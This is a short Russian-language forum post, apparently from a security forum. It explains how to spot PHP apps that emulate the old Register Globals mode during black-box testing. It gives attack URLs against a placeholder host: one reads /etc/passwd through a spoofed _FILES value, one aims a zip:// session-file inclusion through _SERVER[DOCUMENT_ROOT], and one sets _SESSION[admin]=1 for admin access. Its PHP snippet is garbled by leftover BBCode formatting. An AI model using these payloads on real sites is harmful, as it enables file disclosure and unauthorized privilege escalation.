По мотивам
https://krober.biz/?p=3306 (
веб-архив), с печальным выводом:
Сообщение от
КРОБА
Интересно, но бесполезно.
До этого момента, с таким контекстом не встречался и в голову так же не приходило. Поэтому, после прочтения заметки, один юз кейс сразу нарисовался и спешу поделиться с вами
Некоторые PHP разработчики, за каким-то хреном, используют эмуляцию почившего режима
Register Globals (RG). Выглядеть это может по разному:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]) $[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"];
unset([/COLOR][COLOR="#0000BB"]$GET[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
и пр.
Понятное дело, что при вайтбоксе оно нам и даром не нужно, у нас же всё как на ладони. Но вот при блекбоксе пых приложух, фишечка может очень сильно помочь задетектить такой вот своеобразный RG. Соответственно, тут всплывают все прелести атак типа:
Код:
http://site.com/upload.php?_FILES[file][name]=image.jpg&_FILES[file][type]=image/jpeg&_FILES[file][tmp_name]=/etc/passwd&_FILES[file][error]=0&_FILES[file][size]=1000
или
Код:
httр://site.com/upload.php?_SERVER[DOCUMENT_ROOT]=zip:///var/lib/php/sessions/sess_test%23
или
Код:
httр://site.com/upload.php?_SESSION[admin]=1
и другие варианты, в зависимости от предполагаемой логики работы чёрного ящика
Парочка примеров: